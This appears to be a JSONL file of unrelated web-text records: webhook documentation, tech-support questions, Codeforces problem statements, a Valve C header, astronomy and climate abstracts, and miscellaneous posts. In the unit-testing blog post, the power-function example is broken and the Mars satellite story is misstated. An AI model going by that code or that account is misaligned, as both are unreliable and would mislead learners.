{"text": "To enable and setup webhooks, it's as simple as creating a new spreadsheet (or table in Airtable) called \"webhooks\":\nAnd here is what the spreadsheet looks like:\nA description of the fields:\nThe JSONata expression for the response field should evaluate to an object that looks like this:\n\"statusCode\": 200, // can be any status code, just must be a number\n... // any set of HTTP headers can be put here\n\"body\": \"\" // can be string or JSON\nAfter a synchronization occurs, you can retrieve the URL(s) for your new webhook(s) by issuing a GET request to the following endpoint with your admin user:\nFrom there, you can send data to a webhook by using a POST request. Note that webhooks do not require any authorization to call. Anyone or any service that has the URL can push data into your datasets. The webhook id below will be whatever the internal SheetDream _id value is:\nWhen you POST to that endpoint, SheetDream will recognize you're interacting with the special webhooks table. It will take the incoming data in the POST body, and will run your JSONata expression against it. It will then attempt to import the result into your specified target spreadsheet.\nThe expression field should evaluate to something that looks like this:\n\"Column 1\": ..,\n\"Column 2\": ..,\nIn other words: a flat JSON object with no nesting. Simple key/value pairs only. If you do not adhere to this format, SheetDream will simply throw out the result and will not import anything into the target table.\nThe response field has no restrictions on what it needs to evaluate to. It should evaluate to some sort of JSON result that the calling service expects the webhook to return.\nIf you want to test your JSONata expression, head on over to https://try.jsonata.org. You'll find a window very similar to the JSONata editor modals in the API Tasks section. You can paste in some example webhook data your third party API will be POSTing to SheetDream, and then work out the JSONata to get a result object that can be successfully imported into your spreadsheet.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 450, "token_count_with_eod": 451, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I've got a fresh install of #! here, and right off the bat VLC has an issue with .mp4 files. It plays, you see the timeline progression, you can hear all the audio playing fine, but the place where video should be is just black. Has anyone else had this issue? Any ideas on a fix?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’ve been wondering what I could do with this blog since I really don’t know enough about Christianity, theology or apologetics to teach anybody anything. I’m in total immersion mode, and learning a tremendous amount, but it’s going to be a long road. I’m thinking about getting some formal education, but I’m not sure how to best go about that. I have a four year degree and 20 years of work experience, but it’s all technical computer stuff. I haven’t done anything even remotely humanities related since my few required courses in college.\nBut one thing I do remember from English writing classes is to write what you know. And I do know the questions that I had to get answered before I came to the point where I am now. So I’m going to try to combine a couple of things here. First, I’m going to talk about the issues I had before I could recommit myself to Christ. I’m going to ask the question, and give the answer that made sense to me, but what’s more, is that I will try to make the answers more complete and based in theologies, reason, and evidence.\nIn many ways, I think my aptitude for my current career as a technical architect will prove valuable in apologetics. Most of what I do and what I am talented at is taking the theoretical and applying it in a practical way that people can use and understand. And what I’ve learned over time is that the best way to learn the practical application of the theoretical is to actually try and DO IT.\nSince I know most of my readers know way more than I do, I invite you all to correct and guide me as I make these chicken scratchings. :)\nIt’s a little late in the evening to start one off, but I’m planning on starting with the issue of why I can’t open a newspaper without crying for all the horrifying things that are being done to innocent children. Yeah, that’s right. I like to give myself easy assignments. ;-)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 415, "token_count_with_eod": 416, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Drazil and Varda are the earthworm couple. They want to find a good place to bring up their children. They found a good ground containing nature hole. The hole contains many rooms, some pairs of rooms are connected by small tunnels such that earthworm can move between them.\n\nLet's consider rooms and small tunnels as the vertices and edges in a graph. This graph is a tree. In the other words, any pair of vertices has an unique path between them.\n\nEach room that is leaf in the graph is connected with a ground by a vertical tunnel. Here, leaf is a vertex that has only one outgoing edge in the graph.\n\nEach room is large enough only to fit one earthworm living in it. Earthworm can't live in a tunnel.\n\nDrazil and Varda have a plan to educate their children. They want all their children to do morning exercises immediately after getting up!\n\nWhen the morning is coming, all earthworm children get up in the same time, then each of them chooses the farthest path to the ground for gathering with others (these children are lazy, so they all want to do exercises as late as possible).\n\nDrazil and Varda want the difference between the time first earthworm child arrives outside and the time the last earthworm child arrives outside to be not larger than l (otherwise children will spread around the ground and it will be hard to keep them exercising together).\n\nAlso, The rooms that are occupied by their children should form a connected set. In the other words, for any two rooms that are occupied with earthworm children, all rooms that lie on the path between them should be occupied with earthworm children too.\n\nHow many children Drazil and Varda may have at most in order to satisfy all conditions above? Drazil and Varda want to know the answer for many different choices of l.\n\n(Drazil and Varda don't live in the hole with their children)", "source": "cpt_codeforces", "language": "en", "token_count": 395, "token_count_with_eod": 396, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "commandlinefu.com is the place to record those command-line gems that you return to again and again.\nDelete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.\nYou can sign-in using OpenID credentials, or register a traditional username and password.\nFirst-time OpenID users will be automatically assigned a username which can be changed after signing in.\nEvery new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.\nUse your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):\nSubscribe to the feed for:\nWow, didn't really expect you to read this far down. The latest iteration of the site is in open beta. It's a gentle open beta-- not in prime-time just yet. It's being hosted over at UpGuard (link) and you are more than welcome to give it a shot. Couple things:\nChecks for syntax errors in PHP files modified in current working copy of a Git repository.\nThe sample command searches for PHP files replacing tabs with spaces.\n-u NONE # don't use vimrc\none may pass\nLook at this http://susepaste.org/69028693 also\nM - current revision, N - older revision\nCreates HTML code from PHP source\nin Debian-based systems apt-get could be limited to the specified bandwidth in kilobytes using the apt configuration options(man 5 apt.conf, man apt-get). I'd quote man 5 apt.conf:\n\"The used bandwidth can be limited with Acquire::http::Dl-Limit which accepts integer values in kilobyte. The default value is 0 which deactivates the limit and tries uses as much as possible of the bandwidth...\"\n\"HTTPS URIs. Cache-control, Timeout, AllowRedirect, Dl-Limit and proxy options are the same as for http...\"\nThis form is used in patches, svn, git etc. And I've created an alias for it:\nalias diff='diff -Naur --strip-trailing-cr'\nThe latter option is especially useful, when somebody in team works in Windows; could be also used in commands like\nsvn diff --diff-cmd 'diff --strip-trailing-cr'...\nIf colordiff utility installed, it is sometimes handy to call this command. Of course, you should create an alias for it. E.g. svndiff.\nThe command copies a file from remote SSH host on port 8322 with bandwidth limit 100KB/sec;\n--progress shows a progress bar\n--partial turns partial download on; thus, you can resume the process if something goes wrong\n--bwlimit limits bandwidth by specified KB/sec\n--ipv4 selects IPv4 as preferred\nI find it useful to create the following alias:\nalias myscp='rsync --progress --partial --rsh=\"ssh -p 8322\" --bwlimit=100 --ipv4'\nin ~/.bash_aliases, ~/.bash_profile, ~/.bash_login or ~/.bashrc where appropriate.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 732, "token_count_with_eod": 733, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Yaroslav, Andrey and Roman can play cubes for hours and hours. But the game is for three, so when Roman doesn't show up, Yaroslav and Andrey play another game.\n\nRoman leaves a word for each of them. Each word consists of 2·n binary characters \"0\" or \"1\". After that the players start moving in turns. Yaroslav moves first. During a move, a player must choose an integer from 1 to 2·n, which hasn't been chosen by anybody up to that moment. Then the player takes a piece of paper and writes out the corresponding character from his string.\n\nLet's represent Yaroslav's word as s = s1s2... s2n. Similarly, let's represent Andrey's word as t = t1t2... t2n. Then, if Yaroslav choose number k during his move, then he is going to write out character sk on the piece of paper. Similarly, if Andrey choose number r during his move, then he is going to write out character tr on the piece of paper.\n\nThe game finishes when no player can make a move. After the game is over, Yaroslav makes some integer from the characters written on his piece of paper (Yaroslav can arrange these characters as he wants). Andrey does the same. The resulting numbers can contain leading zeroes. The person with the largest number wins. If the numbers are equal, the game ends with a draw.\n\nYou are given two strings s and t. Determine the outcome of the game provided that Yaroslav and Andrey play optimally well.", "source": "cpt_codeforces", "language": "en", "token_count": 332, "token_count_with_eod": 333, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Michael and Joe are playing a game. The game is played on a grid with $$$n$$$ rows and $$$m$$$ columns, filled with distinct integers. We denote the square on the $$$i$$$-th ($$$1\\le i\\le n$$$) row and $$$j$$$-th ($$$1\\le j\\le m$$$) column by $$$(i, j)$$$ and the number there by $$$a_{ij}$$$.\n\nMichael starts by saying two numbers $$$h$$$ ($$$1\\le h \\le n$$$) and $$$w$$$ ($$$1\\le w \\le m$$$). Then Joe picks any $$$h\\times w$$$ subrectangle of the board (without Michael seeing).\n\nFormally, an $$$h\\times w$$$ subrectangle starts at some square $$$(a,b)$$$ where $$$1 \\le a \\le n-h+1$$$ and $$$1 \\le b \\le m-w+1$$$. It contains all squares $$$(i,j)$$$ for $$$a \\le i \\le a+h-1$$$ and $$$b \\le j \\le b+w-1$$$.\n\nPossible move by Joe if Michael says $$$3\\times 2$$$ (with maximum of $$$15$$$).\n\nFinally, Michael has to guess the maximum number in the subrectangle. He wins if he gets it right.\n\nBecause Michael doesn't like big numbers, he wants the area of the chosen subrectangle (that is, $$$h \\cdot w$$$), to be as small as possible, while still ensuring that he wins, not depending on Joe's choice. Help Michael out by finding this minimum possible area.\n\nIt can be shown that Michael can always choose $$$h, w$$$ for which he can ensure that he wins.", "source": "cpt_codeforces", "language": "en", "token_count": 366, "token_count_with_eod": 367, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "One day, Okazaki Tomoya has bought a tree for Furukawa Nagisa's birthday. The tree is so strange that every node of the tree has a value. The value of the i-th node is vi. Now Furukawa Nagisa and Okazaki Tomoya want to play a game on the tree.\n\nLet (s, e) be the path from node s to node e, we can write down the sequence of the values of nodes on path (s, e), and denote this sequence as S(s, e). We define the value of the sequence G(S(s, e)) as follows. Suppose that the sequence is z0, z1...zl - 1, where l is the length of the sequence. We define G(S(s, e)) = z0 × k0 + z1 × k1 + ... + zl - 1 × kl - 1. If the path (s, e) satisfies $$G(S(s,e)) \\equiv x (\\bmod y)$$, then the path (s, e) belongs to Furukawa Nagisa, otherwise it belongs to Okazaki Tomoya.\n\nCalculating who has more paths is too easy, so they want to play something more difficult. Furukawa Nagisa thinks that if paths (p1, p2) and (p2, p3) belong to her, then path (p1, p3) belongs to her as well. Also, she thinks that if paths (p1, p2) and (p2, p3) belong to Okazaki Tomoya, then path (p1, p3) belongs to Okazaki Tomoya as well. But in fact, this conclusion isn't always right. So now Furukawa Nagisa wants to know how many triplets (p1, p2, p3) are correct for the conclusion, and this is your task.", "source": "cpt_codeforces", "language": "en", "token_count": 396, "token_count_with_eod": 397, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I've been working to assign ownership to the correct team for \"unit tests\" recently. While changing the team name that owns each test is straightforward in most cases, in some I had to step into the tests to determine exactly what was being validated. This is a great way for me to learn the code, by the way.\nIn any case, I soon discovered that some of the tests I had been thinking about as unit tests are actually integration tests. The difference between the two is what I want to mention today.\nA unit test is the simples form of automated testing that we write. In a simple case, suppose I am writing a calculator application and want to multiply two whole numbers. I could write a function that looks something like this:\nint multiply(int first, int second)\nint result = 0;\nfor (int i=0;i<first;i++)\nresult = result + second;\nNow when I write a unit test, I can pass in 8 and 4 and validate I get 32 as a result and also 0 and 2 to validate I get 0. Not much to this but that is the point of a unit test - it tests just one function. If it fails, I know the exact one function that now needs to be investigated.\nThen suppose I add a power function to the calculator. Raising a number to a power is just multiplying the number by itself as many times as I want the power t be, so my function to this might be:\nint power(number, power)\nint result ;\nfor (int i=0;i<power;i++)\nresult = multiply(result, 1);\nI just call my multiply command as part of my power command. Reusing code is always a goal.\nBut now when I test my power function, I have a challenge if the test fails. A failure might be in the part of the code that is unique to my power function, or it could also be in the multiply command. There could also exist a case in which both tests are failing for different reasons. So instead of quickly finding the one bit of ode I need to investigate, I now have 2 places to look and three investigations to complete.\nLooking more at the calculator, if I added a \"Compute compounded interest function\" I would need to use the power function and the multiply function and possibly a few others as well. Now if a test fails I might have dozens of locations to investigate.\nOn the positive side, I might also discover a flaw in my code that only shows when one function calls another. This type of functionality is referred to as an integration test and is absolutely critical to shipping software. Read about the most famous example of not covering this here: a Mars satellite was lost because Lockheed Martin tested all their code with miles and everyone else tested all their code with kilometers. Very loosely speaking, the Lockheed code told the spacecraft it was \"1,000,000\" from earth it meant one million miles. When the satellite heard \"1,000,000\" it assumed kilometers and that was the root of the loss of the satellite. Integration tests should have been use to catch this type of error.\nEagle eyed readers will point out that my power function is useless without the multiply function. How can I isolate my unit tests to use only the code in that function instead of needing the multiply command as well? I'll cover that next time up.\nQuestions, comments, concerns and criticisms always welcome,", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 722, "token_count_with_eod": 723, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Cool Tensorflow Tutorial Without Keras 2022. Mechislav pugavko • 1 month ago. While you can use keras without tensorflow, keras is always.\nThis tutorial has been updated for tensorflow 2.2 ! In a regression problem, the aim is to predict the output of a continuous value, like a price or a probability. Is keras in tensorflow 2.0 as fast as tf?\nCheck Out Our Introduction To Keras For Researchers.\nThis tutorial will show you how to get started with using keras to build and It is made with focus of understanding deep learning techniques, such as creating layers for. Now that we know what nlp is and various tools that are used to increase the accuracy of the model, we’ll tackle a classicc nlp problem:\nMany Git Commands Accept Both Tag And Branch Names, So Creating This Branch May Cause Unexpected Behavior.\nHere are instructions on how to do this. In this keras and tensorflow tutorial, we'll be covering how to write a simple neural network that recognizes handwritten digits. Here's another tutorial going from basics (full keras) to full.\nTensorflow Is An Open Source Machine Learning Framework For All Developers.\nThen the functions train_on_batch, predict, predict can be wrapped with decorators. Contrast this with a classification problem, where the aim is to select a class from. Tensorflow’s new 2.0 version provides a.\nAre You A Beginner Looking For Both An Introduction To Machine Learning And An Introduction To Keras And Tensorflow?\nWhile you can use keras without tensorflow, keras is always. In a regression problem, the aim is to predict the output of a continuous value, like a price or a probability. Photo by david dibert on unsplash.\nIs Keras In Tensorflow 2.0 As Fast As Tf?\nBut in all comparisons of tensorflow (1.x) and keras, it has been mentioned that keras is much slower than tensorflow. So there are two questions: Image classification is one of the fundamental supervised tasks in the world of machine learning.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 423, "token_count_with_eod": 424, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hello there. Been a while since I was modding, so I decided to give it a try.\nHope you’ll like them!\nBlaser R93 Tactical Hybrid:\nEDIT: The link is now updated with the much shorter woosh.wav file.\n- Baseball Bat\nThanks for reading (and downloading, of course) this.\nP.S. All the weapons have sounds, but I would like if someone would make some sights for the guns.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 95, "token_count_with_eod": 96, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Status: this preprint has been withdrawn by the authors.\nA simple metabolic model of glacial-interglacial energy supply to the upper ocean\nJ. L. Pelegrí,R. Olivella,and A. García-Olivares\nAbstract. We use a simple two-state two-box ocean to simulate the CO2 signal during the last four glacial-interglacial transitions in the earth system. The model is inspired by the similarity in spatial organization and temporal transition patterns between the earth and other complex systems, such as mammals. The comparison identifies the earth's metabolic rate with net autotrophic primary production in the upper ocean, sustained through new inorganic carbon and nutrients advected from the deep ocean and organic matter remineralized within the upper ocean. We view the glacial-interglacial transition as a switch of the upper ocean from a basal to an enhanced metabolic state, with energy supply initially relying on the remineralization of the local organic sources and the eventual steady state resulting from the increased advective supply of inorganic deep sources. During the interglacial-glacial transition the opposite occurs, with an initial excess of advective supply and primary production that allows the replenishment of the upper-ocean organic storages. We set the relative change in energy supply from the CO2 signal and use genetic algorithms to explore the sensitivity of the model output to both the basal recirculation rate and the intensity-timing of the maximum recirculation rate. The model is capable of reproducing quite well the long-term oscillations, as shown by correlations with observations typically about 0.8. The dominant time scale for each cycle ranges between about 40 and 45 kyr, close to the 41 kyr average obliquity astronomical period, and the deep-ocean recirculation rate increases between one and two orders of magnitude from glacial to interglacial periods.\nThis preprint has been withdrawn.\nHow to cite. Pelegrí, J. L., Olivella, R., and García-Olivares, A.: A simple metabolic model of glacial-interglacial energy supply to the upper ocean, Earth Syst. Dynam. Discuss., 2, 271–313, https://doi.org/10.5194/esdd-2-271-2011, 2011.\nReceived: 18 Feb 2011 – Discussion started: 22 Mar 2011", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 509, "token_count_with_eod": 510, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//========= Copyright Valve Corporation, All rights reserved. ============//\n//\n// Purpose: \n//\n// $Workfile:     $\n// $Date:         $\n// $NoKeywords: $\n//=============================================================================//\n\n#ifndef CMDLIB_H\n#define CMDLIB_H\n\n#ifdef _WIN32\n#pragma once\n#endif\n\n// cmdlib.h\n\n#include \"basetypes.h\"\n\n// This can go away when everything is in bin.\n#if defined( CMDLIB_NODBGLIB )\n\tvoid Error( PRINTF_FORMAT_STRING char const *pMsg, ... );\n#else\n\t#include \"tier0/dbg.h\"\n#endif\n\n#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <errno.h>\n#include <ctype.h>\n#include <time.h>\n#include <stdarg.h>\n#include \"filesystem.h\"\n#include \"filesystem_tools.h\"\n#include \"tier1/utlstring.h\"\n\n\n// Tools should use this as the read path ID. It'll look into the paths specified by gameinfo.txt\n#define TOOLS_READ_PATH_ID \"GAME\"\n\n\n// Tools should use this to fprintf data to files.\nvoid CmdLib_FPrintf( FileHandle_t hFile, PRINTF_FORMAT_STRING const char *pFormat, ... );\nchar* CmdLib_FGets( char *pOut, int outSize, FileHandle_t hFile );\n\n\n// This can be set so Msg() sends output to hook functions (like the VMPI MySQL database),\n// but doesn't actually printf the output.\nextern bool g_bSuppressPrintfOutput;\n\nextern IBaseFileSystem *g_pFileSystem;\n\n// These call right into the functions in filesystem_tools.h\nvoid\t\t\t\tCmdLib_InitFileSystem( const char *pFilename, int maxMemoryUsage = 0 );\nvoid\t\t\t\tCmdLib_TermFileSystem();\t// GracefulExit calls this.\nCreateInterfaceFn\tCmdLib_GetFileSystemFactory();\n\n\n#ifdef _WIN32\n#pragma warning(disable : 4244)     // MIPS\n#pragma warning(disable : 4136)     // X86\n#pragma warning(disable : 4051)     // ALPHA\n\n#pragma warning(disable : 4018)     // signed/unsigned mismatch\n#pragma warning(disable : 4305)     // truncate from double to float\n\n#pragma warning(disable : 4389)     // singned/unsigned mismatch in ==\n#pragma warning(disable: 4512) // assignment operator could not be generated\n#endif\n\n\n// the dec offsetof macro doesnt work very well...\n#define myoffsetof(type,identifier) offsetof( type, identifier )\n\n\n// set these before calling CheckParm\nextern int myargc;\nextern char **myargv;\n\nint Q_filelength (FileHandle_t f);\nint\tFileTime (char *path);\n\nvoid\tQ_mkdir( char *path );\n\nchar *ExpandArg (char *path);\t// expand relative to CWD\nchar *ExpandPath (char *path);\t// expand relative to gamedir\n\nchar *ExpandPathAndArchive (char *path);\n\n// Fills in pOut with \"X hours, Y minutes, Z seconds\". Leaves out hours or minutes if they're zero.\nvoid GetHourMinuteSecondsString( int nInputSeconds, char *pOut, int outLen );\n\n\n\nint\t\tCheckParm (char *check);\n\nFileHandle_t\tSafeOpenWrite ( const char *filename );\nFileHandle_t\tSafeOpenRead ( const char *filename );\nvoid\t\t\tSafeRead( FileHandle_t f, void *buffer, int count);\nvoid\t\t\tSafeWrite( FileHandle_t f, void *buffer, int count);\n\nint\t\tLoadFile ( const char *filename, void **bufferptr );\nvoid\tSaveFile ( const char *filename, void *buffer, int count );\nqboolean\tFileExists ( const char *filename );\n\nint \tParseNum (char *str);\n\n// Do a printf in the specified color.\n#define CP_ERROR\tstderr, 1, 0, 0, 1\t\t// default colors..\n#define CP_WARNING\tstderr, 1, 1, 0, 1\t\t\n#define CP_STARTUP\tstdout, 0, 1, 1, 1\t\t\n#define CP_NOTIFY\tstdout, 1, 1, 1, 1\nvoid ColorPrintf( FILE *pFile, bool red, bool green, bool blue, bool intensity, PRINTF_FORMAT_STRING char const *pFormat, ... );\n\n// Initialize spew output.\nvoid InstallSpewFunction();\n\n// This registers an extra callback for spew output.\ntypedef void (*SpewHookFn)( const char * );\nvoid InstallExtraSpewHook( SpewHookFn pFn );\n\n// Install allocation hooks so we error out if an allocation can't happen.\nvoid InstallAllocationFunctions();\n\n// This shuts down mgrs that use threads gracefully. If you just call exit(), the threads can\n// get in a state where you can't tell if they are shutdown or not, and it can stall forever.\ntypedef void (*CleanupFn)();\nvoid CmdLib_AtCleanup( CleanupFn pFn );\t// register a callback when Cleanup() is called.\nvoid CmdLib_Cleanup();\nvoid CmdLib_Exit( int exitCode );\t// Use this to cleanup and call exit().\n\n// entrypoint if chaining spew functions\nSpewRetval_t CmdLib_SpewOutputFunc( SpewType_t type, char const *pMsg );\nunsigned short SetConsoleTextColor( int red, int green, int blue, int intensity );\nvoid RestoreConsoleTextColor( unsigned short color );\n\n// Append all spew output to the specified file.\nvoid SetSpewFunctionLogFile( char const *pFilename );\n\nchar *COM_Parse (char *data);\n\nextern\tchar\t\tcom_token[1024];\n\nchar *copystring(const char *s);\n\nvoid\tCreatePath( char *path );\nvoid\tQCopyFile( char *from, char *to );\nvoid\tSafeCreatePath( char *path );\n\nextern\tqboolean\t\tarchive;\nextern\tchar\t\t\tarchivedir[1024];\n\nextern\tqboolean verbose;\n\nvoid qprintf( PRINTF_FORMAT_STRING const char *format, ... );\n\nvoid ExpandWildcards (int *argc, char ***argv);\n\nvoid CmdLib_AddBasePath( const char *pBasePath );\nbool CmdLib_HasBasePath( const char *pFileName, int &pathLength );\nint CmdLib_GetNumBasePaths( void );\nconst char *CmdLib_GetBasePath( int i );\n// Like ExpandPath but expands the path for each base path like SafeOpenRead\nint CmdLib_ExpandWithBasePaths( CUtlVector< CUtlString > &expandedPathList, const char *pszPath );\n\nextern bool g_bStopOnExit;\n\n// for compression routines\ntypedef struct\n{\n\tbyte\t*data;\n\tint\t\tcount;\n} cblock_t;\n\n\n#endif // CMDLIB_H", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I have an Airport Express 2nd Generation (Version 7.6.8) that I'm using as an access point for my desktop PC.\nMy house has a Technicolor DPC3848VE modem and WiFi router with dual-band network.\nI set the Airport express to connect to the 5GHz network (the networks have the same name + 2.4 or 5.0 for differentiating them).\nAll the connection is done without problems, but when I check the Network Icon in the Task Bar, the tooltip says I’m connected to the 2.4GHz network.\nJust to be sure I did a factory reset and connected the router again and it still connects me to the 2.4GHz network.\nHow can I fix this/force the airport to only use the 5GHz network?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Supernova (SN) 2006gy was a hydrogen-rich core-collapse SN that remains one of the most luminous optical SNe ever observed. The total energy budget (>2 × 10$^51$ erg radiated in the optical alone) poses many challenges for standard SN theory. We present new ground-based near-infrared (NIR) observations of SN 2006gy, as well as a single epoch of Hubble Space Telescope (HST) imaging obtained more than two years after the explosion. Our NIR data taken around peak optical emission show an evolution that is largely consistent with a cooling blackbody, with tentative evidence for a growing NIR excess starting around day åisebox-0.5ex 130. Our late-time Keck adaptive optics NIR image, taken on day 723, shows little change from previous NIR observations taken around day 400. Furthermore, the optical HST observations show a reduced decline rate after day 400, and the SN is bluer on day 810 than it was at peak. This late-time decline is inconsistent with $^56$Co decay, and thus is problematic for the various pair-instability SN models used to explain the nature of SN 2006gy. The slow decline of the NIR emission can be explained with a light echo, and we confirm that the late-time NIR excess is the result of a massive (gsim10 M $_sun$) dusty shell heated by the SN peak luminosity. The late-time optical observations require the existence of a scattered light echo, which may be generated by the same dust that contributes to the NIR echo. Both the NIR and optical echoes originate in the proximity of the progenitor, i̊sebox-0.5ex 10$^18$ cm for the NIR echo and lsim10-40 pc for the optical echo, which provides further evidence that the progenitor of SN 2006gy was a very massive star.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 420, "token_count_with_eod": 421, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a multiset of points on the plane with integer coordinates. Find the maximum distance between two points from this multiset.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I gave the keynote at the NEURISA Day event (agenda and presentations) in 2011. (My coverage, Oct 2011) Also:\nI spoke at the New York State Geospatial Summit 2011 (My coverage, June 2011) Also:\nI offered the closing keynote at MidAmerica GIS Consortium - MAGIC - 2010 Symposium. (My coverage, my slides (pdf), April 2010)\nI presented \"Harnessing Geospatial Technology in Liberal Education,\" the keynote at Geospatial Technologies in the Liberal Arts. I was pleased to be accompanied by my Dad, Arnold. (My coverage, NITLE coverage, Sept. 2009)\nI presented a keynote at the MetaCarta Public Sector User Group. (My coverage, May 2007.\nI presented the keynote at the Pennsylvania GIS Conference. (My coverage, May 2006)\nI presented the keynote at the GeoVue User Conference. (Dec 2006)\nI spoke to NICS (National Infrastructure for Community Statistics) a group aiming to make statistics easier to access and use on the Web on Feb 16, 2005 at the Brookings Institution. I covered the commercial side of the geospatial industry. (My coverage, Feb 2005)\nI spoke to a group of local (Massachusetts) town GIS managers. Said one in an e-mail, \"Excellent presentation yesterday by Adena. We should try to have a few more meeting where a non-biased GIS professional (no consultants) is guest speaker.\" (Apr 2004)\nI was an invited speaker at the 2004 Wisconsin Land Information Association Annual Conference. I provided a lunch time keynote titled \"GIS: Too Much Information.\" The executive services manager, in a thank you letter noted, \"You received excellent reviews!\" (My coverage, Mar 2004).\nI presented the keynote at the Ventura College (California) GIS Day conference in November 2003, at the invitations of GIS Monitor readers. From the thank you note: \"I want to tell you again how pleased we were by your keynote speech and attendance at our event. In particular, I received many compliments on your talk from people with a wide variety of GIS knowledge and experience. You did an excellent job of providing us with the tools for discussing web mapping issues.\" - Paul Van Zuyle, one of the organizers. (My coverage, Nov 2003)\nI spoke about GIS at the International Right of Way Association 49th Annual International Education Conference. (My coverage, June 2003)\nI presented a keynote at the Laser-Scan's User and Partner Conference in Cambridge, England. From Laser-Scan's thank you note: \"Yes, we had an excellent conference, there was definitely a buzz to the whole event and we're getting some good feedback too.\" (My coverage, July 2003)\nI spoke at GIS User Forum in Dubai UAE, from 28 - 30 April, 2002. (My coverage, my travelogue, Apr 2002)\nI presented the keynote address at the Illinois GIS Association 2001 Fall Conference. This is from the \"thank you\" note: \"It certainly was an outstanding presentation - many of the conference attendees that I talked to felt that it was the best keynote address they had ever heard. I personally enjoyed your talk because it offered the best of what a keynote address should be: relevant to the audience's interests, but also challenging enough to provoke new insights.\" - Larry Gunderson, President, ILGISA. (Nov 2001)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 791, "token_count_with_eod": 792, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Mr. F has $$$n$$$ positive integers, $$$a_1, a_2, \\ldots, a_n$$$.\n\nHe thinks the greatest common divisor of these integers is too small. So he wants to enlarge it by removing some of the integers.\n\nBut this problem is too simple for him, so he does not want to do it by himself. If you help him, he will give you some scores in reward.\n\nYour task is to calculate the minimum number of integers you need to remove so that the greatest common divisor of the remaining integers is bigger than that of all integers.", "source": "cpt_codeforces", "language": "en", "token_count": 122, "token_count_with_eod": 123, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "HTTPS clone URL\nSubversion checkout URL\nAn HTML/CSS rendering engine for the Haxe language\nfixes-for-openfl fullscreen-pseudo-class gh-pages layout-refactor master non-interactive-scrollbar refacto refactor-boxmodel refactor-embedded-block-layout update-samples\nNothing to show\nFetching latest commit...\nCannot retrieve the latest commit at this time.\n|Failed to load latest commit information.|", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "So you think you’re ready to buy an Android device? There are a lot of options, and finding the right one is tricky if you don’t know what to look for. Consider these four points when picking an Android device, and you'll have no problem finding one that best suits your needs.\nRecently I've got an e-mail from Handsetdetection.com with an interesting infographic. With their solution, they can help developres, to detect mobile devices, and redirect the mobile users, mobile customers to a proper landing page. Thanks to this, they have pretty good insights about the mobile usage of different countries. They've developed an infographic on Android usage - phone models, OS's and screen sizes - from 11 developing countries, including Brazil, China, India, Pakistan, South Africa and Vietnam. If you are a developer, I'm sure these are useful statistics to prepare your app for these target markets.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In Windows Vista, 7 or 8, my video is cut off / shifted, or my text is shifted. What do I do?\nIf the video on the remote display is being cut off or shifted, try the following:\nLower the resolution, wait a few seconds after the resolution change has taken effect, then adjust back to your desired resolution. This will force the screen to refresh itself and it should display normally.\nIf the image looks off and/or the text is offset, making certain features inaccessible, try the following:\n- Right-click on the desktop and select Personalize.\n- Click Display on the bottom left of the window.\n- Ensure this is set to 100%. Setting this to 125% or 150% will cause the text in the software for this unit to shift, and not fit correctly.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hi, I was wondering if anyone could advise? I am a freelance consultant (graduate, qual accountant) with a specialism in activity based costing, in financial services, working to quite a high level. Quite a small pond in terms of who is around. Up to now, I have worked through and intermediary associate consulting company and charges £550 / day to them but of course I know that I am charged out at more. I don't know my daily rate as the contracts with the main are done on results, not day by day and I am not privy to these. So I now have the opportunity to pitch for an interim mangement job in this specialism and am not sure what daily rate to pitch. I have been advised various figs between £600 & £800. I don't want to under sell, but also don't want to price myself out of the market. Any ideas?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
